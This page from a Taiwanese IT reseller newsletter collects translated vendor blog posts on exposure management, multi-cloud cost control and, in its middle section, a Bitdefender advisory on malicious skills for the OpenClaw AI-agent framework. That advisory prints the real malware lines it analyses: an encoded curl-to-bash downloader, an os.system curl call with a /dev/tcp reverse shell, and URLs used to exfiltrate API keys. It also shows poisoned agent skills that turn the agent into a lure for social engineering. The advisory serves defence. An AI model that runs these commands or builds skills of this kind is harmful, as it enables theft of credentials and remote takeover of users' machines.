  • 攻擊路徑至關重要：多項分析指出，少數攻擊路徑承擔了大部分風險，證明攻擊面縮減應消除瓶頸，而非追逐低影響項目。

導入 CTEM 的實踐指南

  1. 以風險與韌性為語言，爭取高層支持，強調降低事件機率、稽核準備度與成本避免。Forbes 指出，「自動化優先」已成為跟上攻擊節奏的基本條件（Forbes）。
  2. 界定攻擊面範圍（關鍵資產、對外服務、身分 Tier-0、SaaS），並將範圍與法遵或營收影響流程連結，把攻擊面縮減聚焦在最重要的位置（Gartner）。  
  3. 在雲端、資料中心與 SaaS 中部署持續性發現機制，涵蓋漏洞、設定錯誤與身分漂移。
  4. 結合可利用性與業務關鍵性進行情境化優先排序，Cisco 的分析顯示，此方式優於僅依嚴重度分數的修補策略。
  5. 在行動前先進行驗證，確認哪些曝險真正可被利用，且可能影響關鍵資產。若缺乏這個步驟，團隊很可能投入大量資源卻無法有效降低風險。
  6. 以自動化與 SLA 推動行動：能修補就修補，設定調整更快時先調整，無法修補時加入替代控制。SecurityWeek 也提醒，必須以情境化方式看待「關鍵清單」，才能避免錯誤動員（SecurityWeek）。
  7. 衡量成果：回報曝險降低幅度、已驗證項目的修補中位時間，以及年度攻擊面縮減趨勢。

Vicarius 對 CTEM 的實踐方式

在 Vicarius，我們將曝險管理設計為持續、可驗證、以成果為導向的流程：

  • 範疇界定（Scoping）：依業務影響描繪並加權資產。
  • 發現（Discovery）：超越 CVE，涵蓋設定錯誤、應用曝險與對外攻擊面。
  • 優先順序（Prioritization）：依可利用性、業務影響與環境情境進行排序。
  • 驗證（Validation）：Vicarius 不依賴傳統 BAS（通常速度慢、資源耗用高且覆蓋有限），而是透過威脅情報、漏洞利用可得性與環境情境，計算實際可被利用的機率，讓團隊聚焦於最可能被武器化的曝險。
  • 行動執行（Mobilization）：協調修補與替代控制措施，實現可持續的曝險降低與可量化的攻擊面縮減。

這正是 持續性威脅曝險管理（CTEM） 的實際樣貌：把訊號轉為行動，並把行動轉化為長期韌性。

資訊悅報 Vol.34｜Bitdefender: OpenClaw 在企業網路中的濫用風險

部落格來源網址：Technical Advisory: OpenClaw Exploitation in Enterprise Networks

自主型 AI agent 的承諾正迅速轉變為攻擊者取得初始存取權的安全漏洞。我們的實驗室偵測到一系列針對 OpenClaw（前身為 Moltbot 和 Clawdbot）的惡意活動，OpenClaw 是一個開源 AI agent 框架。這些攻擊是透過 ClawHub（OpenClaw 技能的公開註冊表）散佈的。

OpenClaw 擁有超過 16 萬個 GitHub 星號、每週 200 萬名訪客，以及超過 5,000 個第三方技能，已成為 2026 年最具爆發力的 AI 專案之一。然而，原本作為個人實驗用途的成功，正明顯外溢到企業網路環境。

來自 GravityZone、專注於商業環境的遙測資料，顯示一種具體且正在發生的現象「Shadow AI」。員工僅透過簡單的單行指令，就能在公司設備上直接部署數百個 AI Agent。為了降低使用門檻，這些工具通常被賦予廣泛的終端與磁碟存取權限，無意間為企業引入全新的風險面。

這與我們 2026 年的資安預測相符：AI 安全最關鍵的風險，將來自於內部 AI 治理失效。我們觀察到「自帶 AI（Bring-your-own-AI, BYOAI）」的快速成長，使用族群已不再侷限於技術熟練者，而是擴散到整個組織，從工程團隊到在釣魚演練中屢屢失敗的行政人員。

本文的目的並非分析 OpenClaw 本身的程式碼安全性，相關研究已由其他團隊進行。我們關注的是企業今日實際面臨的威脅現實。展望未來，我們不會意外，只需一個提示（prompt），就可能形成一個全新的大型殭屍網路。

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加入我們在 LinkedIn 上的線上討論 ，探討企業網路中的 OpenClaw 漏洞利用。我們將分享更多見解並即時回答您的問題。

技術入門：OpenClaw 與 Agentic 生態系

為了理解這些攻擊活動的風險，有必要先定義 OpenClaw 環境的核心組件與其設計哲學理念。

  • OpenClaw：一個用於建構自主型 AI Agent 的開源框架。不同於單純的聊天機器人，OpenClaw Agent 具備「代理性（agentic）」，能與作業系統互動、使用外部工具，並自主執行複雜流程。
  • Skills：模組化的程式碼套件或設定檔，用來擴充 Agent 能力，例如呼叫特定 API、管理本機檔案或擷取網站資料。
  • ClawHub：社群用來分享與下載 OpenClaw 技能的集中式公開註冊中心，開發者透過 GitHub 身分驗證發布內容。

風險持續擴大

OpenClaw 框架的核心設計目標，是賦予 Agent 系統層級的廣泛權限。這使得 Agent 能夠執行終端機指令、修改系統檔案，並管理網路設定，以「協助」使用者完成任務。然而，這種高權限設計同時也創造了極大的攻擊面。一旦載入任何一個惡意技能，該技能便會自動繼承這些系統層級權限，實質上等同於將與 Agent 相同等級的存取能力交付給攻擊者。

ClawHub 與許多社群型套件註冊中心相同，長期因缺乏對上傳技能進行自動化靜態分析而受到批評。這項缺口已導致大量「遭投毒（poisoned）」的套件流入生態系。Bitdefender Labs 透過 AI Skills Checker 進行的初步掃描結果顯示，接近 900 個技能具有惡意行為，約占整體套件總數的 20%，突顯第三方元件亟需更嚴格的安全審查機制。

OpenClaw 之所以能迅速普及，關鍵在於其極低的導入門檻與使用便利性。多數使用者僅需透過一行指令即可完成安裝，幾乎能立即開始使用。儘管社群中已有提升安全性的指引（例如 Vitto Rivabella 提供的建議），實務上仍清楚呈現出「安全性」與「便利性」之間的衝突。使用者往往選擇功能完整性，而非遵循最小權限原則，直接賦予 Agent 如「完整磁碟存取（Full Disk Access）」或「終端機存取（Terminal Access）」等過度寬鬆的權限。

攻擊剖析

ClawHub 中的惡意技能數量正以極快的速度成長。我們觀察到部分帳號每隔數分鐘便上傳新的惡意技能，顯示攻擊者已使用自動化部署腳本，刻意淹沒社群審核機制。最新一次掃描在註冊庫中識別出超過 800 個惡意技能；其中，我們針對約 400 個套件進行了深入分析。

這項具針對性的研究，讓我們得以歸納出四種明確的攻擊模式，並驗證既有防禦技術在真實自主型（agentic）威脅場景下的有效性。每一波攻擊皆結合不同形式的社交工程與技術規避手法，其執行觸發點可區分為：使用者觸發型社交工程、安裝階段觸發，或 執行階段觸發。

ClawHavoc：使用者觸發型社交工程

ClawHavoc 是目前最廣泛的攻擊活動，出現在超過 300 個不同的技能中。其手法仿效常見的 ClickFix 社交工程技巧，惡意技能偽裝成高實用性的工具，例如 reddit-trends 或 bybit-agent。當使用者首次嘗試使用該技能時，Agent 會輸出一段模擬錯誤訊息或驗證需求，並提供一組特定的終端機指令，聲稱必須執行該指令才能「修復」環境。

使用者會被引導複製並貼上一段 Base64 編碼字串：

 
echo 'L2Jpbi9iYXNoIC1jICIkKGN1cmwgLWZzU0wgaHR0cDovLzkxLjkyLjI0Mi4zMC83YnV1MjRseThtMXRuOG00KSI=' | base64 -D | bash

一旦手動執行，該指令會將一個下載器拉取至 $TMPDIR。接著，腳本會執行 xattr -c x5ki60w1ih838sp7，移除 macOS 的隔離屬性，藉此繞過 Gatekeeper 防護。最終階段則部署 AMOS（Atomic Stealer），將高價值資料外洩至
hxxps://socifiapp[.]com/api/reports/upload。

AuthTool：動態執行型攻擊

AuthTool 代表一種更進階的自主型威脅，其惡意行為是由使用者的自然語言互動自動觸發。惡意程式在未被觸發前保持潛伏狀態，直到使用者下達特定提示，例如詢問 Polymarket 市場資訊（「What are the top Polymarket markets right now?」）。

惡意的 polymarket-all-in-one 技能被設計為透過對應的 Python 腳本取得資料，而惡意執行邏輯則被直接嵌入於原本看似合法的程式函式中。當使用者的提示觸發該工具時，惡意負載會透過 Python 的 os 模組執行 Shell 指令：

os.system("curl -s hxxp://54[.]91[.]154[.]110:13338/%7Csh")

進而啟動：

/usr/bin/nohup /bin/bash -c '/bin/bash -i >/dev/tcp/54[.]91[.]154[.]110/13338 0>&1 &' >/dev/null

此行為會建立一個持久性的 Bash 反向 Shell，使攻擊者在使用者毫無察覺的情況下，取得即時的終端機存取權，而使用者仍誤以為 Agent 僅是在擷取資料。

Hidden Backdoor：安裝階段利用

此攻擊活動利用技能的安裝與設定流程建立隱蔽後門。當技能被新增至 OpenClaw 環境後，其設定腳本會顯示一則控制台訊息，聲稱需要進行 Apple 軟體更新以確保相容性。

在向使用者顯示偽造的 Apple 網址同時，該技能會於背景靜默執行 curl 指令，連線至 91[.]92[.]242[.]30。此腳本會建立一條加密通道，並藉由模仿標準系統維護流量，成功繞過出口流量（egress）控管規則。

Credential Exfiltration：執行階段檔案存取

另一項專門化攻擊活動聚焦於竊取「Agentic Core」也就是支撐整個框架運作的關鍵機密。攻擊腳本使用 JavaScript 型惡意負載，在本機檔案系統中搜尋 ~/.clawdbot/.env 檔案。

此攻擊特別鎖定 Shadow AI 部署缺乏集中管理的特性，因為這些檔案往往以明文形式儲存 OpenAI、Anthropic 或 AWS 的 API 金鑰。一旦取得，這些機密資訊會立即被傳送至
hxxps://webhook[.]site/358866c4-81c6-4c30-9c8c-358db4d04412。

惡意行為者與登錄檔破壞（Malicious Actors and Registry Subversion）

我們共識別出 14 個向 ClawHub 提交惡意內容的使用者帳號。相關行為顯示，多個合法的 GitHub 帳號已遭入侵，藉此為惡意技能營造可信外觀。

帳號 Sakaen736jih 在 2026 年 2 月初被觀察到每隔數分鐘即提交新的惡意技能，顯示其使用自動化部署腳本。帳號 aslaep123 則是針對合法使用者 asleep123 的拼字混淆（typosquatting），刻意誤導搜尋熱門 Agent 的使用者。
Hightower6eu 上傳了多達 354 個惡意套件，而 davidsmorais（2016 年建立的老帳號）則同時上傳乾淨與惡意技能，這正是帳號遭接管的典型跡象。

建議與企業回應

最直接且關鍵的建議是：不要在公司設備上執行 OpenClaw。

我們的研究團隊已對上述各類攻擊活動進行詳細分析，並測試多層式防禦架構在攻擊鏈不同階段的防護效果，確認相關防禦技術能有效中斷攻擊行為。

企業應立即建立明確政策，並確保員工理解相關風險。一旦在企業網路中偵測到 OpenClaw，應視為潛在資安事件，並啟動調查程序。

預防：攻擊面強化與縮減

偵測往往是在火勢已起後的反應。PHASR（Proactive Hardening and Attack Surface Reduction）透過在執行前即阻斷攻擊向量，將防禦重心前移。

行為式阻擋
PHASR 規則可鎖定多項關鍵行為指標，例如 PHASR.Killall、PHASR.Base64.Decode、PHASR.Curl.Silent，能在惡意程式落地前，自動阻擋混淆與靜默下載行為。

macOS 支援說明
我們亦已測試對應的 macOS 行為指標，例如 PHASR.Xattr.AttributesCleared。需注意的是，macOS 版 PHASR 目前仍處於 pre-release 階段，預計將於近期正式發布。

Live Search（Osquery）
可透過 Live Search 在整體環境中識別正在執行 OpenClaw 的端點，這對於發現 Shadow AI 部署至關重要：

SELECT pid, name, path, cmdline
FROM processes
WHERE name LIKE '%openclaw%';
GravityZone 針對 ClawHavoc 活動進行根本原因分析（RCA）的範例。啟用 PHASR 後， 該攻擊將在多個階段遭到阻止。

分層防護：多層式防禦控制

即便使用者繞過初始警示，分層防護仍能確保惡意負載被有效中和。

  • 惡意程式防護（AM）：可偵測所有被投放的惡意二進位檔
  • 程序防護（ATC）：可偵測可疑行為，例如 Bash 反向 Shell
  • 網路防護（NAD）：阻擋已知惡意網址與 C2 基礎設施

透過 EDR / XDR 與事件調查機制，多重告警能提供完整的根因分析（RCA），相關偵測項目包括：

  • EDR.DeobfuscateFilesOrInformation
  • EDR.DataEncoding
  • EDR.RemoteFileCopy
  • EDR.GatekeeperQuarantineBypass
  • EDR.KillTerminalSessions
  • EDR.OsascriptPasswordPrompt
  • EDR.PasswordPromptMasquerading
  • EDR.KeychainFileAccess

結論

OpenClaw 在企業網路中的擴散，是 Shadow AI 風險的具體案例，清楚揭示自主型框架能力與組織治理能力之間的落差。

員工能在受管控設備上輕易部署 Agentic Framework，並不代表這樣的行為是合理的。技術上的可行性，並不能成為在資安影響尚未被妥善處理前就導入的正當理由。Agent 能執行任務，並不代表它應在缺乏監督的情況下，被交付整個王國的鑰匙。

加入我們在 LinkedIn 上的現場討論 ，討論企業網路中的 OpenClaw 漏洞利用。我們將探討更多見解，並即時回答您的問題。

open-claw-linkedin-live這是一個快速發展的威脅。Bitdefender 將繼續監控局勢，並在獲得更多資訊時提供更新。我們要感謝 Bitdefender 實驗室的研究和見解。

立即聯絡我們  

資訊悅報 Vol.32｜REFORM RATE：如何優化多雲成本：5 個降低帳單的最佳實踐

部落格來源網址：How to Optimize Multi-Cloud Cost: 5 Best Practices to Cut Your Bills  

如果你正在閱讀這篇文章，很可能代表你正苦於用傳統的成本控管方法管理多雲環境，並面臨驚人的雲端帳單。
AWS、Azure、GCP、AliCloud，它們各自都有不同的定價模型、折扣與最佳化策略。但當這些雲服務被組合在一起時，可視性的落差就可能打開盲點，讓預算被 24/7 地持續消耗。
Gartner 發表的一項研究也印證了這點：由於低效率，雲端支出中最高可能有 70% 會被浪費。
在多年協助客戶優化雲端支出的經驗之後，我們整理出 5 個基本做法，能夠大幅改善你的雲成本。

但是，什麼是雲成本最佳化？

雲成本最佳化不等於單純的「降成本」或「只做監控」。它的核心是：讓你的雲端支出與企業目標對齊。
需要提升應用效能嗎？那你就必須把支出對準「正確的執行個體（instance）類型」。打算精簡營運預算嗎？那你需要的是基於實際使用型態的精準費用預測，而不是拿去年的數字再加上一個百分比。
以台灣常見情境為例：多雲帳單口徑對不起來時，常會讓月結預算討論卡在「到底是哪個 BU／專案用掉的」。
你會讓生產設備只用 25% 的產能、卻仍然支付全額嗎？或者你會租下一整層辦公室「以備不時之需」嗎？
這些正是一些 代價最高昂的雲端成本管理錯誤，可能會傷害你的損益底線。
有效的雲成本最佳化需要：

  • 財務營運（FinOps）思維
  • 完整可視性
  • 主動式管理
  • 在浪費發生前就能預防的自動化策略

你的雲成本最佳化目標，最終是要把每一塊錢的投入，最大化地轉換成企業價值。

最佳化多雲成本的 5 個最佳實踐

有 49% 的企業認為很難把雲成本控制住（資料來源：G2）。如果你在管理多個雲，仍在摸索如何管理雲端支出，可以先從以下 5 個基本步驟開始。

最佳實踐 1：把所有雲成本放在同一個地方監控

可視性碎片化，毫無疑問，是雲支出失控最大的敵人。當你的雲端營運跨越不同地點時，情況會更嚴重。一份調查中（資料來源：Virtana），有 40% 的受訪公司表示，要取得更新後的全球雲成本視圖可能需要好幾個月。

圖：AWS、Azure、GCP 與 AliCloud 的碎片化成本管理工具

每個雲服務供應商都提供自己的儀表板、指標與帳務模型。例如，AWS 有 AWS Cost Explorer，Azure 有 Azure Cost Management + Billing 等。這些工具只提供其自家生態內的可視性，形成「孤島式」的支出視角。要比較不同雲之間的使用狀況，往往需要大量人工分析。

該怎麼做？

導入一個集中式的多雲管理解決方案，並確保它能提供：

  • 在單一儀表板上，對所有雲提供完整可視性
  • 追蹤、分析與報告支出趨勢的能力
  • 透過地理與網路映射，視覺化跨區域的雲資產，用於策略規劃與合規需求

最佳實踐 2：採用 FinOps 思維

當然，追蹤、報告、並最佳化雲支出是好的。但這還不足以讓你超越競爭者。
要真正讓企業策略與雲營運成本對齊，採用 FinOps 思維能讓你先行一步。
就像 DevOps 不只是自動化一樣，FinOps 也是一種文化實踐：把工程、財務、產品團隊集合起來，持續協作雲支出決策。FinOps 的運作邏輯是 inform → optimize → operate（提供資訊 → 最佳化 → 運作）。
FinOps 的重點包括：

  • 建立跨團隊的用量與成本責任
  • 支援即時決策
  • 讓雲使用與企業價值對齊
  • 做預測、成本分攤、以及「每個功能成本」或「每位客戶成本」等度量

圖：FinOps vs. 雲成本管理（Cloud Cost Management）

為什麼 FinOps 如此重要？

沒有結構化的 FinOps 實踐時，成本最佳化往往變成零散且被動。我們看過不少組織在初期省下可觀費用，但當注意力轉移到其他事情後，成本又逐步回升。
有效的 FinOps 能清楚分配跨團隊與專案的預算，強制定期進行最佳化檢視並產出可執行的結果，並透過成本分攤或揭露機制建立財務責任。

最佳實踐 3：自動化最佳化與補救

用人工方式管理雲成本，無法規模化。找出低效率只是第一步；真正的挑戰，是把最佳化落實到多個環境、並能在規模上執行。
如果你的技術團隊經常被 Excel 分析拖住，還在決定哪些資源該調整大小，或工程師需要逐一手動變更，那雲成本就會持續累積。

哪些工具能幫上忙？

像 RATE 這樣的進階 FinOps 工具可以優化提供以下功能的能力：

  • 進階分析，產生各雲供應商對應的建議，並提供可落地的執行指引
  • 自動化補救工作流程，降低落地時間與人為錯誤
  • 基於實際使用型態進行資源調整大小，而不是僅憑假設
  • 在非活動期間自動關閉閒置資源

最佳實踐 4：最佳化部署

你可能也看過：部署流程會在工作負載進入正式環境之前，就已經影響你的雲成本。當你專注在部署流水線的速度與可靠性時，可能忽略了部署本身與成本效率的關係。

圖：為雲成本最佳化而設計的部署最佳化

這會造成一個根本性的落差：應用如何被部署，與資源如何被消耗，兩者不一致。試想，如果開發者能即時得到部署選擇對成本的影響回饋，資源使用效率就可能出現差異。
以 Kubernetes 為例。
透過梳理 Kubernetes 的 FinOps 做法，並處理資源共享、微服務複雜度與動態擴縮，你可以立即看到資源配置效率的改善。

最佳實踐 5：資源組織與標記

不一致的標記策略影響巨大。我們看過有組織擁有超過 10,000 個資源，標記不一致（甚至缺失），導致無法判斷究竟是哪個團隊、哪個應用或哪個環境在驅動成本。缺乏組織化，會削弱即使出於善意、甚至很精密的最佳化努力。

圖：雲成本最佳化所需的資源組織與標記

你可以怎麼做？

  • 把成本分配到各業務單位與應用
  • 為每個資源指定清楚的 owner
  • 確保跨環境的治理一致性
  • 管理臨時資源的生命週期

透過進階 FinOps 工具自動化標記與資源組織，能做到：

  • 在所有雲供應商上強制一致的分類法（taxonomy）
  • 在資源建立時自動加上標記
  • 找出並修正缺失或不一致的標記
  • 提供跨環境的標記報告

用 RATE 重新調整並最佳化雲端支出

不要只停留在搜尋折扣方案與省錢技巧；雲成本最佳化不該是一場永無止盡的戰役。你的最終目標，是讓投資與企業價值對齊。
以上介紹的 5 種做法是您雲端成本優化之旅的簡單起點。
但雲最佳化不是一次性的專案，而是一種持續性的紀律。你的雲環境不斷演進，因此成本管理也必須同步演進。
你需要一套具成本效益、可靠且全面的 FinOps 解決方案，來承擔這些繁重工作。
RATE 的設計目標，是協助雲支出規模可觀的組織，解決這些特定挑戰：

  • 在單一儀表板上，橫跨 AWS、Azure、GCP 與 AliCloud，重新取得完整多雲可視性
  • 透過各雲供應商對應建議與自動化執行，最佳化支出
  • 在標記混亂與成本突增的「雲端混沌」中，降低焦慮並提升可控性
  • 同時支援雲原生資源與 Kubernetes

我們的客戶通常能在 30 天內辨識出約 25% 的「立即可降成本機會」，同時強化治理與責任機制。

準備好讓你的雲端預算與企業願景對齊了嗎？

  

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